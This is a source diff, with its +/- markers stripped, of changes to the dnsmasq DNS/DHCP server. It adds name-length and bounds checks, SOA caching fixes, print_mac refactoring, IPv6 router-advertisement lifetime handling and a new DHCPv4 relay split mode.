(daemon->domain_suffix = canonicalise_opt(token)))
break;
{
/* We don't call get_line_alloc() until it returns false and frees the automatically */
get_line_alloc(NULL, &line, &linesz);
break;
}
}
fclose(f);
@@ -6254,7 +6317,7 @@ void read_opts(int argc, char **argv, char *compile_opts)
if (daemon->domain_suffix)
{
/* add domain for any srv record without one. */
/* add domain for any srv record without one. */
struct mx_srv_record *srv;
for (srv = daemon->mxnames; srv; srv = srv->next)
@@ -6262,13 +6325,14 @@ void read_opts(int argc, char **argv, char *compile_opts)
strchr(srv->name, '.') &&
strchr(srv->name, '.') == strrchr(srv->name, '.'))
{
if (strlen(srv->name) + 1 + strlen(daemon->domain_suffix) > MAXDNAME)
if (strlen(srv->name) + 1 + strlen(daemon->domain_suffix) > MAXDNAMESTR)
die(_("srv-host name %s too long after domain appended"), srv->name, EC_MISC);
strcpy(buff, srv->name);
strcat(buff, ".");
strcat(buff, daemon->domain_suffix);
strcpy(daemon->namebuff, srv->name);
strcat(daemon->namebuff, ".");
strcat(daemon->namebuff, daemon->domain_suffix);
free(srv->name);
srv->name = opt_string_alloc(buff);
if (!(srv->name = canonicalise_opt(daemon->namebuff)))
die(_("bad srv-host name %s after domain appended"), srv->name, EC_MISC);
}
}
else if (option_bool(OPT_DHCP_FQDN))
+1 -1
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
+1 -1
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
+4 -4
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -100,13 +100,13 @@ void poll_listen(int fd, short event)
{
/* Array too small. Extend. */
struct pollfd *new;
nfds_t newsize = (arrsize == 0) ? 64 : arrsize * 2;
arrsize = (arrsize == 0) ? 64 : arrsize * 2;
if (!(new = whine_realloc(pollfds, arrsize * sizeof(struct pollfd))))
if (!(new = whine_realloc(pollfds, newsize * sizeof(struct pollfd))))
return;
pollfds = new;
arrsize = newsize;
}
memmove(&pollfds[i+1], &pollfds[i], (nfds - i) * sizeof(struct pollfd));
+1 -1
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
+21 -9
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -58,7 +58,7 @@ static int add_prefixes(struct in6_addr *local, int prefix,
unsigned int preferred, unsigned int valid, void *vparam);
static int iface_search(struct in6_addr *local, int prefix,
int scope, int if_index, int flags,
unsigned int prefered, unsigned int valid, void *vparam);
unsigned int preferred, unsigned int valid, void *vparam);
static int add_lla(int index, unsigned int type, char *mac, size_t maclen, void *parm);
static void new_timeout(struct dhcp_context *context, char *iface_name, time_t now);
static unsigned int calc_lifetime(struct ra_interface *ra);
@@ -215,11 +215,8 @@ void icmp6_packet(time_t now)
if (opt_sz == 0 || opt_sz > rem)
return; /* Bad packet */
if (p[0] == ICMP6_OPT_SOURCE_MAC && ((opt_sz - 2) * 3 - 1 < MAXDNAME))
{
print_mac(daemon->namebuff, &p[2], opt_sz - 2);
mac = daemon->namebuff;
}
if (p[0] == ICMP6_OPT_SOURCE_MAC)
mac = print_mac(&p[2], opt_sz - 2);
}
if (!option_bool(OPT_QUIET_RA))
@@ -435,7 +432,7 @@ static void send_ra_alias(time_t now, int iface, char *iface_name, struct in6_ad
sprintf(daemon->namebuff, "/proc/sys/net/ipv6/conf/%s/mtu", mtu_name ? mtu_name : iface_name);
if ((f = fopen(daemon->namebuff, "r")))
{
if (fgets(daemon->namebuff, MAXDNAME, f))
if (fgets(daemon->namebuff, MAXDNAMESTR, f))
mtu = atoi(daemon->namebuff);
fclose(f);
}
@@ -611,6 +608,7 @@ static int add_prefixes(struct in6_addr *local, int prefix,
int do_slaac = 0;
int deprecate = 0;
int constructed = 0;
int have_lease = 0;
int adv_router = 0;
int off_link = 0;
unsigned int time = 0xffffffff;
@@ -663,6 +661,8 @@ static int add_prefixes(struct in6_addr *local, int prefix,
if (time < ((unsigned int)(3 * param->adv_interval)))
time = 3 * param->adv_interval;
}
if (context->flags & CONTEXT_SETLEASE)
have_lease = 1;
if (context->flags & CONTEXT_DEPRECATE)
deprecate = 1;
@@ -700,7 +700,19 @@ static int add_prefixes(struct in6_addr *local, int prefix,
/* configured time is ceiling */
if (!constructed || valid > time)
valid = time;
/* For CONSTRUCTED prefixes an explicitly configured lease time is
also a floor: an upstream delegating with very short lifetimes
(mobile links) would otherwise churn the addresses of any client
that sleeps through a few RAs. Deprecation still wins below. */
if (constructed && have_lease && !deprecate && !(flags & IFACE_DEPRECATED))
{
if (valid < time)
valid = time;
if (preferred < time)
preferred = time;
}
if (flags & IFACE_DEPRECATED)
preferred = 0;
+64 -48
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -106,11 +106,16 @@ int extract_name(struct dns_header *header, size_t plen, unsigned char **pp,
p = l + (unsigned char *)header;
}
else if (label_type == 0x00)
{ /* label_type = 0 -> label. */
namelen += l + 1; /* include period */
else if (label_type == 0x00) /* label_type = 0 -> label. */
{
/* reject wire-format names > MAXDNAME bytes
This also ensures that internal-format
names don't exceed MAXDNAMESTR characters. */
namelen += l + 1;
/* namelen == MAXDNAME means terminator will overflow. */
if (namelen >= MAXDNAME)
return 0;
if (!CHECK_LEN(header, p, plen, l))
return 0;
@@ -119,13 +124,13 @@ int extract_name(struct dns_header *header, size_t plen, unsigned char **pp,
{
unsigned char c = *p;
if (c == 0 || c == '.' || c == NAME_ESCAPE)
if (IS_NAME_ESCAPE(c))
{
*cp++ = NAME_ESCAPE;
*cp++ = c+1;
}
else
*cp++ = c;
*cp++ = c;
}
else if (flip)
{
@@ -317,7 +322,7 @@ unsigned char *skip_name(unsigned char *ansp, struct dns_header *header, size_t
else if (label_type == 0x40)
{
/* Extended label type */
unsigned int count;
unsigned int count, llen;
if (!CHECK_LEN(header, ansp, plen, 2))
return NULL;
@@ -328,9 +333,12 @@ unsigned char *skip_name(unsigned char *ansp, struct dns_header *header, size_t
count = *(ansp++); /* Bits in bitstring */
if (count == 0) /* count == 0 means 256 bits */
ansp += 32;
llen = 32;
else
ansp += ((count-1)>>3)+1;
llen = ((count-1)>>3)+1;
if (!ADD_RDLEN(header, ansp, plen, llen))
return NULL;
}
else
{ /* label type == 0 Bottom six bits is length */
@@ -440,7 +448,7 @@ int private_net6(struct in6_addr *a, int ban_localhost)
(IN6_IS_ADDR_LOOPBACK(a) && ban_localhost) || /* RFC 6303 4.3 */
IN6_IS_ADDR_LINKLOCAL(a) || /* RFC 6303 4.5 */
IN6_IS_ADDR_SITELOCAL(a) ||
((unsigned char *)a)[0] == 0xfd || /* RFC 6303 4.4 */
(((unsigned char *)a)[0] & 0xfe) == 0xfc || /* RFC 4196 3.1 */
((u32 *)a)[0] == htonl(0x20010db8); /* RFC 6303 4.6 */
}
@@ -495,7 +503,7 @@ int do_doctor(struct dns_header *header, size_t qlen, char *namebuff)
header->hb3 &= ~HB3_AA;
#ifdef HAVE_DNSSEC
/* remove validated flag from this RR, since we changed it! */
if (option_bool(OPT_DNSSEC_VALID) && i < ntohs(header->ancount))
if (option_bool(OPT_DNSSEC_VALID) && i < daemon->rr_status_sz && i < ntohs(header->ancount))
daemon->rr_status[i] = 0;
#endif
done = 1;
@@ -516,7 +524,7 @@ int do_doctor(struct dns_header *header, size_t qlen, char *namebuff)
Cache said SOA and return the difference in length between name and the name of the
SOA RR so we can look it up again.
*/
static int find_soa(struct dns_header *header, size_t qlen, char *name, int *substring, unsigned long *ttlp, int no_cache, time_t now)
static int find_soa(struct dns_header *header, size_t qlen, char *name, int *substring, unsigned long *ttlp, int cache, time_t now)
{
unsigned char *p, *psave;
int qtype, qclass, rdlen;
@@ -537,7 +545,7 @@ static int find_soa(struct dns_header *header, size_t qlen, char *name, int *sub
for (i = 0; i < ntohs(header->nscount); i++)
{
if (!extract_name(header, qlen, &p, daemon->workspacename, EXTR_NAME_EXTRACT, 0))
if (!extract_name(header, qlen, &p, daemon->workspacename, EXTR_NAME_EXTRACT, 10))
return 0; /* bad packet */
GETSHORT(qtype, p);
@@ -552,11 +560,11 @@ static int find_soa(struct dns_header *header, size_t qlen, char *name, int *sub
soa_len = strlen(daemon->workspacename);
/* SOA must be for the name we're interested in. */
if (soa_len <= name_len && memcmp(daemon->workspacename, name + name_len - soa_len, soa_len) == 0)
if (hostname_issubdomain(daemon->workspacename, name) != 0)
{
int prefix = name_len - soa_len;
if (!no_cache)
if (cache)
{
if (!(addr.rrblock.rrdata = blockdata_alloc(NULL, 0)))
return 0;
@@ -568,46 +576,42 @@ static int find_soa(struct dns_header *header, size_t qlen, char *name, int *sub
{
if (!extract_name(header, qlen, &p, daemon->workspacename, EXTR_NAME_EXTRACT, 0))
{
if (!no_cache)
if (cache)
blockdata_free(addr.rrblock.rrdata);
return 0;
}
if (!no_cache)
if (cache)
{
len = to_wire(daemon->workspacename);
if (!blockdata_expand(addr.rrblock.rrdata, addr.rrblock.datalen, daemon->workspacename, len))
{
blockdata_free(addr.rrblock.rrdata);
return 0;
}
return 0;
addr.rrblock.datalen += len;
}
}
if (!CHECK_LEN(header, p, qlen, 20))
{
if (!no_cache)
if (cache)
blockdata_free(addr.rrblock.rrdata);
return 0;
}
/* rest of RR */
if (!no_cache)
if (cache)
{
int secflag = 0;
if (!blockdata_expand(addr.rrblock.rrdata, addr.rrblock.datalen, (char *)p, 20))
{
blockdata_free(addr.rrblock.rrdata);
return 0;
}
return 0;
addr.rrblock.datalen += 20;
#ifdef HAVE_DNSSEC
if (option_bool(OPT_DNSSEC_VALID) && daemon->rr_status[i + ntohs(header->ancount)] != 0)
if (option_bool(OPT_DNSSEC_VALID) &&
i + ntohs(header->ancount) < daemon->rr_status_sz &&
daemon->rr_status[i + ntohs(header->ancount)] != 0)
{
secflag = F_DNSSECOK;
@@ -932,10 +936,8 @@ int extract_addresses(struct dns_header *header, size_t qlen, char *name, time_t
{
/* Copy the rest of the RR and end. */
if (!blockdata_expand(addr.rrblock.rrdata, addr.rrblock.datalen, (char *)p1, endrr - p1))
{
blockdata_free(addr.rrblock.rrdata);
return 0;
}
return 0;
addr.rrblock.datalen += endrr - p1;
}
else if (desc == 0)
@@ -943,7 +945,8 @@ int extract_addresses(struct dns_header *header, size_t qlen, char *name, time_t
/* Name, extract it then re-encode. */
int len;
if (!extract_name(header, qlen, &p1, name, EXTR_NAME_EXTRACT, 0))
/* rdlen may lie, and extract_name() advances p1 past where it says the record ends. */
if (!extract_name(header, qlen, &p1, name, EXTR_NAME_EXTRACT, 0) || (p1 > endrr))
{
blockdata_free(addr.rrblock.rrdata);
return 2;
@@ -951,11 +954,8 @@ int extract_addresses(struct dns_header *header, size_t qlen, char *name, time_t
len = to_wire(name);
if (!blockdata_expand(addr.rrblock.rrdata, addr.rrblock.datalen, name, len))
{
blockdata_free(addr.rrblock.rrdata);
return 0;
}
return 0;
addr.rrblock.datalen += len;
}
else
@@ -965,11 +965,8 @@ int extract_addresses(struct dns_header *header, size_t qlen, char *name, time_t
desc = endrr - p1;
if (!blockdata_expand(addr.rrblock.rrdata, addr.rrblock.datalen, (char *)p1, desc))
{
blockdata_free(addr.rrblock.rrdata);
return 0;
}
return 0;
addr.rrblock.datalen += desc;
p1 += desc;
}
@@ -1079,7 +1076,17 @@ int extract_addresses(struct dns_header *header, size_t qlen, char *name, time_t
if (insert && !option_bool(OPT_NO_NEG))
{
int substring, have_soa = find_soa(header, qlen, name, &substring, &ttl, no_cache_dnssec, now);
/* The order of records going into the cache matters (see cache_recv_insert()).
The target of a CNAME must immediately follow the CNAME.
(CNAME has already gone into the cache at this point)
Here we call find_soa to get the ttl and substring, but
we DON'T LET IT INSERT the SOA into the cache if our negative record is a CNAME target
so that the SOA doesn't come before the CNAME target.
We call find_soa() again after inserting the CNAME target to insert the SOA
if necessary. */
int substring, have_soa = find_soa(header, qlen, name, &substring, &ttl, cpp == NULL, now);
if (have_soa || daemon->neg_ttl)
{
@@ -1101,6 +1108,10 @@ int extract_addresses(struct dns_header *header, size_t qlen, char *name, time_t
next_uid(newc);
cpp->addr.cname.target.cache = newc;
cpp->addr.cname.uid = newc->uid;
/* we didn't insert the SOA before a CNAME target above, do it now. */
if (have_soa)
find_soa(header, qlen, name, NULL, NULL, 1, now);
}
}
}
@@ -1413,6 +1424,11 @@ int check_for_ignored_address(struct dns_header *header, size_t qlen)
return check_bad_address(header, qlen, daemon->ignore_addr, NULL, NULL);
}
/* Nameoffset > 0 means that the name of the new record already exists at the given offset,
so use a "jump" to that.
Nameoffset == 0 means use the first variable argument as the name of the new record.
nameoffset < 0 means use the first variable argument as the start of the new record name,
then "jump" to -nameoffset to complete it. */
int add_resource_record(struct dns_header *header, char *limit, int *truncp, int nameoffset, unsigned char **pp,
unsigned long ttl, int *offset, unsigned short type, unsigned short class, char *format, ...)
{
@@ -1439,7 +1455,7 @@ int add_resource_record(struct dns_header *header, char *limit, int *truncp, int
else
{
char *name = va_arg(ap, char *);
if (name && !(p = do_rfc1035_name(p, name, limit)))
if (name && !(p = do_rfc1035_name(p, name, (unsigned char *)limit)))
goto truncated;
if (nameoffset < 0)
@@ -1503,7 +1519,7 @@ int add_resource_record(struct dns_header *header, char *limit, int *truncp, int
/* get domain-name answer arg and store it in RDATA field */
if (offset)
*offset = p - (unsigned char *)header;
if (!(p = do_rfc1035_name(p, va_arg(ap, char *), limit)))
if (!(p = do_rfc1035_name(p, va_arg(ap, char *), (unsigned char *)limit)))
goto truncated;
CHECK_LIMIT(1);
*p++ = 0;
+236 -15
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -204,6 +204,10 @@ size_t dhcp_reply(struct dhcp_context *context, char *iface_name, int int_index,
memcpy(agent_id, opt, total);
}
/* look for RFC5010 flags sub-option */
if ((sopt = option_find1(option_ptr(opt, 0), option_ptr(opt, option_len(opt)), SUBOPT_FLAGS, INADDRSZ)))
unicast_dest = !!(option_uint(opt, 0, 1) & 0x80);
/* look for RFC3527 Link selection sub-option */
if ((sopt = option_find1(option_ptr(opt, 0), option_ptr(opt, option_len(opt)), SUBOPT_SUBNET_SELECT, INADDRSZ)))
subnet_addr = option_addr(sopt);
@@ -289,6 +293,8 @@ size_t dhcp_reply(struct dhcp_context *context, char *iface_name, int int_index,
{
addr = subnet_addr;
force = 1;
if (mess->giaddr.s_addr)
via_relay = 1;
}
else if (mess->giaddr.s_addr)
{
@@ -357,7 +363,12 @@ size_t dhcp_reply(struct dhcp_context *context, char *iface_name, int int_index,
if (context_tmp->local.s_addr == 0)
context_tmp->local = fallback;
if (context_tmp->router.s_addr == 0 && !share)
context_tmp->router = mess->giaddr;
{
if (override.s_addr)
context_tmp->router = override;
else
context_tmp->router = mess->giaddr;
}
/* fill in missing broadcast addresses for relayed ranges */
if (!(context_tmp->flags & CONTEXT_BRDCAST) && context_tmp->broadcast.s_addr == 0 )
@@ -402,7 +413,7 @@ size_t dhcp_reply(struct dhcp_context *context, char *iface_name, int int_index,
struct dhcp_context *context_tmp;
for (context_tmp = context; context_tmp; context_tmp = context_tmp->current)
{
inet_ntop(AF_INET, &context_tmp->start, daemon->namebuff, MAXDNAME);
inet_ntop(AF_INET, &context_tmp->start, daemon->namebuff, MAXDNAMESTR);
if (context_tmp->flags & (CONTEXT_STATIC | CONTEXT_PROXY))
{
inet_ntop(AF_INET, &context_tmp->netmask, daemon->addrbuff, ADDRSTRLEN);
@@ -586,7 +597,7 @@ size_t dhcp_reply(struct dhcp_context *context, char *iface_name, int int_index,
if (mess->file[0])
{
memcpy(daemon->dhcp_buff2, mess->file, sizeof(mess->file));
daemon->dhcp_buff2[sizeof(mess->file) + 1] = 0; /* ensure zero term. */
daemon->dhcp_buff2[sizeof(mess->file)] = 0; /* ensure zero term. */
id.net = (char *)daemon->dhcp_buff2;
id.next = netid;
netid = &id;
@@ -1302,7 +1313,7 @@ size_t dhcp_reply(struct dhcp_context *context, char *iface_name, int int_index,
unsigned char *mac = extended_hwaddr(ltmp->hwaddr_type, ltmp->hwaddr_len,
ltmp->hwaddr, ltmp->clid_len, ltmp->clid, &len);
my_syslog(MS_DHCP | LOG_WARNING, _("not using configured address %s because it is leased to %s"),
daemon->addrbuff, print_mac(daemon->namebuff, mac, len));
daemon->addrbuff, print_mac(mac, len));
}
else
{
@@ -1526,7 +1537,7 @@ size_t dhcp_reply(struct dhcp_context *context, char *iface_name, int int_index,
{
inet_ntop(AF_INET, &ltmp->addr, daemon->addrbuff, ADDRSTRLEN);
my_syslog(MS_DHCP | LOG_INFO, _("abandoning lease to %s of %s"),
print_mac(daemon->namebuff, ltmp->hwaddr, ltmp->hwaddr_len),
print_mac(ltmp->hwaddr, ltmp->hwaddr_len),
daemon->addrbuff);
lease = ltmp;
}
@@ -1600,7 +1611,8 @@ size_t dhcp_reply(struct dhcp_context *context, char *iface_name, int int_index,
lease->extradata_size = lease->extradata_len = 0;
add_extradata_opt(lease, option_find(mess, sz, OPTION_VENDOR_ID, 1));
add_extradata_opt(lease, option_find(mess, sz, OPTION_HOSTNAME, 1));
lease_add_extradata(lease, (unsigned char *)client_hostname,
client_hostname ? strlen(client_hostname) : 0, 0);
add_extradata_opt(lease, oui);
add_extradata_opt(lease, serial);
add_extradata_opt(lease, class);
@@ -1907,16 +1919,18 @@ static void add_extradata_opt(struct dhcp_lease *lease, unsigned char *opt)
static void log_packet(char *type, void *addr, unsigned char *ext_mac,
int mac_len, char *interface, char *string, char *err, u32 xid)
{
char *mac = "";
if (!err && !option_bool(OPT_LOG_OPTS) && option_bool(OPT_QUIET_DHCP))
return;
daemon->addrbuff[0] = daemon->namebuff[0] = 0;
daemon->addrbuff[0] = 0;
if (addr)
inet_ntop(AF_INET, addr, daemon->addrbuff, ADDRSTRLEN);
if (ext_mac)
print_mac(daemon->namebuff, ext_mac, mac_len);
mac = print_mac(ext_mac, mac_len);
if (option_bool(OPT_LOG_OPTS))
my_syslog(MS_DHCP | LOG_INFO, "%u %s(%s) %s%s%s%s%s%s",
@@ -1925,7 +1939,7 @@ static void log_packet(char *type, void *addr, unsigned char *ext_mac,
interface,
daemon->addrbuff,
addr ? " " : "",
daemon->namebuff,
mac,
ext_mac ? " " : "",
string ? string : "",
err ? err : "");
@@ -1935,16 +1949,16 @@ static void log_packet(char *type, void *addr, unsigned char *ext_mac,
interface,
daemon->addrbuff,
addr ? " " : "",
daemon->namebuff,
mac,
ext_mac ? " " : "",
string ? string : "",
err ? err : "");
#ifdef HAVE_UBUS
if (!strcmp(type, "DHCPACK"))
ubus_event_bcast("dhcp.ack", daemon->namebuff, addr ? daemon->addrbuff : NULL, string, interface);
ubus_event_bcast("dhcp.ack", mac, addr ? daemon->addrbuff : NULL, string, interface);
else if (!strcmp(type, "DHCPRELEASE"))
ubus_event_bcast("dhcp.release", daemon->namebuff, addr ? daemon->addrbuff : NULL, string, interface);
ubus_event_bcast("dhcp.release", mac, addr ? daemon->addrbuff : NULL, string, interface);
#endif
}
@@ -1952,7 +1966,7 @@ static void log_options(unsigned char *start, u32 xid)
{
while (*start != OPTION_END)
{
char *optname = option_string(AF_INET, start[0], option_ptr(start, 0), option_len(start), daemon->namebuff, MAXDNAME);
char *optname = option_string(AF_INET, start[0], option_ptr(start, 0), option_len(start), daemon->namebuff, MAXDNAMESTR);
my_syslog(MS_DHCP | LOG_INFO, "%u sent size:%3d option:%3d %s %s",
ntohl(xid), option_len(start), start[0], optname, daemon->namebuff);
@@ -2631,7 +2645,7 @@ static void do_options(struct dhcp_context *context,
for (i = 0; req_options[i] != OPTION_END; i++)
{
char *s = option_string(AF_INET, req_options[i], NULL, 0, NULL, 0);
q += snprintf(q, MAXDNAME - (q - daemon->namebuff),
q += snprintf(q, MAXDNAMESTR - (q - daemon->namebuff),
"%d%s%s%s",
req_options[i],
strlen(s) != 0 ? ":" : "",
@@ -3044,4 +3058,211 @@ static void apply_delay(u32 xid, time_t recvtime, struct dhcp_netid *netid)
}
}
void relay_upstream4(struct in_addr iface_addr, int iface_index, struct dhcp_packet *mess, size_t sz, int unicast)
{
struct in_addr giaddr = mess->giaddr;
u8 hops = mess->hops;
struct dhcp_relay *relay;
size_t orig_sz = sz;
unsigned char *endopt = NULL;
if (mess->op != BOOTREQUEST || (mess->hops++) > 20)
return;
for (relay = daemon->relay4; relay; relay = relay->next)
{
union mysockaddr to;
union all_addr from;
struct ifreq ifr;
/* restore orig packet */
mess->giaddr = giaddr;
if (endopt)
*endopt = OPTION_END;
sz = orig_sz;
if (relay->interface)
{
safe_strncpy(ifr.ifr_name, relay->interface, IF_NAMESIZE);
ifr.ifr_addr.sa_family = AF_INET;
}
if (!relay->split_mode && relay->iface_index && relay->iface_index == iface_index)
{
/* already gatewayed ? */
if (giaddr.s_addr)
{
/* if so check if by us, to stomp on loops. */
if (giaddr.s_addr == relay->local.addr4.s_addr)
continue;
}
else
/* plug in our address */
mess->giaddr = relay->local.addr4;
from.addr4 = relay->local.addr4;
}
else if (relay->split_mode && relay->local.addr4.s_addr == iface_addr.s_addr)
{
/* Split mode. We put our address on the server-facing interface
or a directly specified third address into giaddr for the server to talk back to us on.
Our address on client-facing interface goes into agent-id subnet-selector subopt,
so that the server allocates the correct address. We also send a
remote-id with the interface on which the request arrived,
so that we can send the reply back the same way. */
unsigned int net_index = htonl(iface_index);
if (relay->interface)
{
/* get our address on the server-facing interface. */
if (ioctl(daemon->dhcpfd, SIOCGIFADDR, &ifr) == -1)
{
my_syslog(MS_DHCP | LOG_ERR, _("Cannot send to server via interface %s: %s"), relay->interface, strerror(errno));
continue;
}
relay->uplink.addr4 = ((struct sockaddr_in *) &ifr.ifr_addr)->sin_addr;
}
/* already gatewayed ? */
if (giaddr.s_addr)
{
/* if so check if by us, to stomp on loops. */
if (giaddr.s_addr == relay->uplink.addr4.s_addr)
continue;
}
else
{
/* giaddr is our address on the outgoing interface in split mode. */
mess->giaddr = relay->uplink.addr4;
if (!endopt)
{
/* Add an RFC3026 relay agent information option (2 bytes) at the very end of the options.
Said option to contain a RFC 3527 link selection sub option (6 bytes) and
RFC 5017 serverid-override option (6 bytes) and RFC5010 flags (3 bytes) and
an RFC3046 remote-id which holds an interface index (6 bytes)
New END option is a 24th byte, so we need 24 bytes free.
We only need to do this once, and poke the address/interface/flags into the same place each time. */
if (!(endopt = option_find1((&mess->options[0] + sizeof(u32)), ((unsigned char *)mess) + sz, OPTION_END, 0)) ||
(endopt + 24 > (unsigned char *)(mess + 1)))
continue;
endopt[1] = 21; /* length */
endopt[2] = SUBOPT_SUBNET_SELECT;
endopt[3] = 4; /* length */
endopt[8] = SUBOPT_SERVER_OR;
endopt[9] = 4;
endopt[14] = SUBOPT_FLAGS;
endopt[15] = 1; /* length */
endopt[17] = SUBOPT_REMOTE_ID;
endopt[18] = 4; /* length */
endopt[23] = OPTION_END;
sz = (endopt - (unsigned char *)mess) + 24;
}
/* IP address is already in network byte order */
memcpy(&endopt[4], &relay->local.addr4.s_addr, INADDRSZ);
memcpy(&endopt[10], &relay->local.addr4.s_addr, INADDRSZ);
endopt[16] = unicast ? 0x80 : 0x00;
memcpy(&endopt[19], &net_index, 4);
endopt[0] = OPTION_AGENT_ID;
}
from.addr4 = relay->uplink.addr4;
}
else
continue;
to.sa.sa_family = AF_INET;
to.in.sin_addr = relay->server.addr4;
to.in.sin_port = htons(relay->port);
#ifdef HAVE_SOCKADDR_SA_LEN
to.in.sin_len = sizeof(struct sockaddr_in);
#endif
/* Broadcasting to server. */
if (relay->server.addr4.s_addr == 0)
{
if (ioctl(daemon->dhcpfd, SIOCGIFBRDADDR, &ifr) == -1)
{
my_syslog(MS_DHCP | LOG_ERR, _("Cannot broadcast DHCP relay via interface %s: %s"), relay->interface, strerror(errno));
continue;
}
to.in.sin_addr = ((struct sockaddr_in *) &ifr.ifr_addr)->sin_addr;
}
#ifdef HAVE_DUMPFILE
{
union mysockaddr fromsock;
fromsock.in.sin_port = htons(daemon->dhcp_server_port);
fromsock.in.sin_addr = from.addr4;
fromsock.sa.sa_family = AF_INET;
dump_packet_udp(DUMP_DHCP, (void *)mess, sz, &fromsock, &to, -1);
}
#endif
send_from(daemon->dhcpfd, 0, (char *)mess, sz, &to, &from, 0);
if (option_bool(OPT_LOG_OPTS))
{
inet_ntop(AF_INET, &relay->local, daemon->addrbuff, ADDRSTRLEN);
if (relay->server.addr4.s_addr == 0)
snprintf(daemon->dhcp_buff2, DHCP_BUFF_SZ, _("broadcast via %s"), relay->interface);
else
inet_ntop(AF_INET, &relay->server.addr4, daemon->dhcp_buff2, DHCP_BUFF_SZ);
my_syslog(MS_DHCP | LOG_INFO, _("DHCP relay at %s -> %s"), daemon->addrbuff, daemon->dhcp_buff2);
}
}
/* restore in case of a local reply. */
mess->hops = hops;
mess->giaddr = giaddr;
if (endopt)
*endopt = OPTION_END;
}
unsigned int relay_reply4(struct dhcp_packet *mess, size_t sz, char *arrival_interface)
{
struct dhcp_relay *relay;
if (mess->giaddr.s_addr == 0 || mess->op != BOOTREPLY)
return 0;
for (relay = daemon->relay4; relay; relay = relay->next)
{
unsigned int return_iface = 0;
if (relay->split_mode)
{
unsigned char *opt, *sopt;
/* giaddr is our address on the returning interface in split mode. */
if (mess->giaddr.s_addr == relay->uplink.addr4.s_addr &&
(opt = option_find(mess, sz, OPTION_AGENT_ID, 1)))
{
if ((sopt = option_find1(option_ptr(opt, 0), option_ptr(opt, option_len(opt)), SUBOPT_REMOTE_ID, sizeof(unsigned int))))
return_iface = option_uint(sopt, 0, sizeof(unsigned int));
/* delete agent info before return RFC 3046 para 2.1 */
*opt = OPTION_END;
memset(opt + 1, 0, option_len(opt) + 1);
}
}
else if (mess->giaddr.s_addr == relay->local.addr4.s_addr)
return_iface = relay->iface_index;
if (return_iface && (!relay->interface || wildcard_match(relay->interface, arrival_interface)))
return return_iface;
}
return 0;
}
#endif /* HAVE_DHCP */
+165 -148
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -24,7 +24,7 @@ struct state {
int clid_len, ia_type, interface, hostname_auth, lease_allocate;
char *client_hostname, *hostname, *domain, *send_domain;
struct dhcp_context *context;
struct in6_addr *link_address, *fallback, *ll_addr, *ula_addr;
struct in6_addr *relay_address, *fallback, *ll_addr, *ula_addr;
unsigned int xid, fqdn_flags, iaid;
char *iface_name;
void *packet_options, *end;
@@ -34,13 +34,14 @@ struct state {
};
static int dhcp6_maybe_relay(struct state *state, unsigned char *inbuff, size_t sz,
struct in6_addr *client_addr, int is_unicast, time_t now);
static int dhcp6_no_relay(struct state *state, int msg_type, unsigned char *inbuff, size_t sz, int is_unicast, time_t now);
struct in6_addr *client_addr, struct in6_addr *link_address, time_t now);
static int dhcp6_no_relay(struct state *state, int msg_type, unsigned char *inbuff, size_t sz, time_t now);
static void log6_opts(int nest, unsigned int xid, void *start_opts, void *end_opts);
static void log6_packet(struct state *state, char *type, struct in6_addr *addr, char *string);
static void log6_quiet(struct state *state, char *type, struct in6_addr *addr, char *string);
static void *opt6_find (uint8_t *opts, uint8_t *end, unsigned int search, unsigned int minsize);
static void *opt6_next(uint8_t *opts, uint8_t *end);
static void *opt6_find (uint8_t *opts, uint8_t *end, unsigned int search, int minsize);
static void *opt6_first(uint8_t *opt, uint8_t *end);
static void *opt6_user_vendor_first(uint8_t *opt, uint8_t *end);
static unsigned int opt6_uint(unsigned char *opt, int offset, int size);
static void get_context_tag(struct state *state, struct dhcp_context *context);
static int check_ia(struct state *state, void *opt, void **endp, void **ia_option);
@@ -62,13 +63,14 @@ static void calculate_times(struct dhcp_context *context, unsigned int *min_time
#define opt6_len(opt) ((int)(opt6_uint(opt, -2, 2)))
#define opt6_type(opt) (opt6_uint(opt, -4, 2))
#define opt6_ptr(opt, i) ((void *)&(((uint8_t *)(opt))[4+(i)]))
#define opt6_next(opt, end) (opt6_first(opt6_ptr((opt), opt6_len((opt))), (end)))
#define opt6_user_vendor_ptr(opt, i) ((void *)&(((uint8_t *)(opt))[2+(i)]))
#define opt6_user_vendor_len(opt) ((int)(opt6_uint(opt, -4, 2)))
#define opt6_user_vendor_next(opt, end) (opt6_next(((uint8_t *) opt) - 2, end))
#define opt6_user_vendor_len(opt) ((int)(opt6_uint((opt), -4, 2)))
#define opt6_user_vendor_next(opt, end) (opt6_user_vendor_first(opt6_user_vendor_ptr((opt), opt6_user_vendor_len((opt))), (end)))
unsigned short dhcp6_reply(struct dhcp_context *context, int interface, char *iface_name,
